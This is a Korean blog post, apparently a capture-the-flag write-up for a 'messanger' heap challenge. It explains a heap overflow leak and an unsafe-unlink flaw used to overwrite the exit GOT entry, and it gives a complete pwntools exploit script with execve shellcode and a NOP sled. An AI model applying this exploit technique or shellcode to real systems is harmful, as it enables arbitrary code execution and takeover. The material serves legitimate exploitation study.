Change 부분에서 Heap overflow 가 일어남
=> heap base leak 가능
malloc, free 를 유저 함수로 만들어서 하는데
free 에서 unsafe unlink 비스무리한 취약점이 나온다.
고로 시나리오를 짜보면
heap overflow => heap base leak
unsafe unlink => got overwrite => get shell
참고로 nx 가 꺼져있어서 쉘코드 쓰면된다.
근데 나는 32비트 쉘코드가지고 왜 안되냐며 욕하다가 알아채고 자살할 뻔 했다.
from pwn import *
def Leave(size,message):
p.sendline("L")
p.recvuntil(":")
p.sendline(size)
p.recvuntil(":")
p.sendline(message)
p.recvuntil(">>")
def Change(index,size,message):
p.sendline("C")
p.recvuntil(":")
p.sendline(index)
p.recvuntil(":")
p.sendline(size)
p.recvuntil(":")
p.sendline(message)
p.recvuntil(">>")
def View(index):
p.sendline("V")
p.recvuntil(":")
p.sendline(index)
ret = p.recvuntil(">>")
return ret
def Remove(index):
p.sendline("R")
p.recvuntil(":")
p.sendline(index)
p.recvuntil(">>")
def Quit():
p.sendline("Q")
p = process("./messanger")
context.log_level='debug'
exit_got = 0x602070
p.recvuntil(">>")
Leave('8',"aaaa")
Leave('8',"bbbb")
Change('0','40',"A"*39)
heap = View('0')
heap = heap[heap.rfind("A")+1:heap.find("[L]")].rstrip().lstrip()
print "[Heap] : 0x%x" % u64(heap.ljust(8,'\x00'))
heap = u64(heap.ljust(8,'\x00'))
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x00\x00\x00\x00"
pay = "A"*32 + p64(exit_got - 0x10) + p64(heap + 0x48 + 0x8) # => 0
# "\x90"*8 + jmp shellcode addr => 1
Change('0',str(len(pay)+1),pay)
asmcode = asm("push "+hex(heap + 0x60),arch='amd64',os='linux')
asmcode += asm("ret",arch='amd64',os='linux')
pay2 = "\x90"*8 +asmcode + "\x90"*200 +shellcode
Change('1',str(len(pay2)+1),pay2)
Remove('1')
p.interactive()
절대 귀찮아서 nop 많이쓴거 아니다
내일부터 시험이라서 이번주 목욜까지는 문제 못풀겠네요 ㅠㅠㅠㅠㅠ 못올린거 많이 올려야 하는데 ㅠㅠㅠㅠㅠㅠ
'Pwnable' 카테고리의 다른 글
[HITCON] start (0) | 2017.12.11 |
---|---|
[Pwnable.tw] hacknote (0) | 2017.12.10 |
[ch4n3 world] Sleepy (0) | 2017.11.22 |
[pwnable.kr] syscall (2) | 2017.10.03 |
[DIMI] scan (0) | 2017.09.26 |